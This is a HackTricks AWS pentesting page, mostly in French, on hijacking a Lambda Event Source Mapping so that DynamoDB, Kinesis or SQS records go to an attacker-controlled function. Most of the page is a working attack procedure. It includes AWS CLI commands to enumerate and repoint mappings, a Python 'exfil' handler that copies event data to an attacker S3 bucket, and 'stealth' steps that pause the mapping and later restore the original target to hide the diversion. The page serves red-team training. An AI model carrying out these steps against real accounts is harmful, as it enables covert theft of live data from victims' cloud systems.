AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Exploiter UpdateEventSourceMapping pour changer la fonction Lambda cible d’un Event Source Mapping (ESM) existant afin que les enregistrements de DynamoDB Streams, Kinesis ou SQS soient livrĂ©s Ă  une fonction contrĂŽlĂ©e par l’attaquant. Cela dĂ©tourne silencieusement des donnĂ©es en temps rĂ©el sans toucher les producteurs ni le code de la fonction originale.

Impact

  • DĂ©tourner et lire des enregistrements en temps rĂ©el depuis des streams/queues existants sans modifier les applications productrices ni le code de la victime.
  • Exfiltration potentielle de donnĂ©es ou altĂ©ration de la logique en traitant le trafic de la victime dans une fonction rogue.

Required permissions

  • lambda:ListEventSourceMappings
  • lambda:GetEventSourceMapping
  • lambda:UpdateEventSourceMapping
  • CapacitĂ© Ă  dĂ©ployer ou rĂ©fĂ©rencer une Lambda contrĂŽlĂ©e par l’attaquant (lambda:CreateFunction ou permission d’utiliser une fonction existante).

Steps

  1. ÉnumĂ©rer les Event Source Mappings pour la fonction victime
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
  1. PrĂ©parez un Lambda rĂ©cepteur contrĂŽlĂ© par un attacker (mĂȘme rĂ©gion ; idĂ©alement VPC/runtime similaire)
cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
  1. Repointer le mapping vers la fonction attacker
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
  1. Générer un événement sur la source pour que le mapping se déclenche (exemple : SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
  1. Vérifier que la attacker function reçoit le batch
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
  1. Furtivité optionnelle
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true

Remarques :

  • Pour les SQS ESMs, le rĂŽle d’exĂ©cution de la Lambda qui traite la file doit disposer de sqs:ReceiveMessage, sqs:DeleteMessage, et sqs:GetQueueAttributes (politique gĂ©rĂ©e : AWSLambdaSQSQueueExecutionRole).
  • L’UUID de l’ESM reste le mĂȘme ; seul son FunctionArn est modifiĂ©, donc les producteurs et les source ARNs restent inchangĂ©s.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks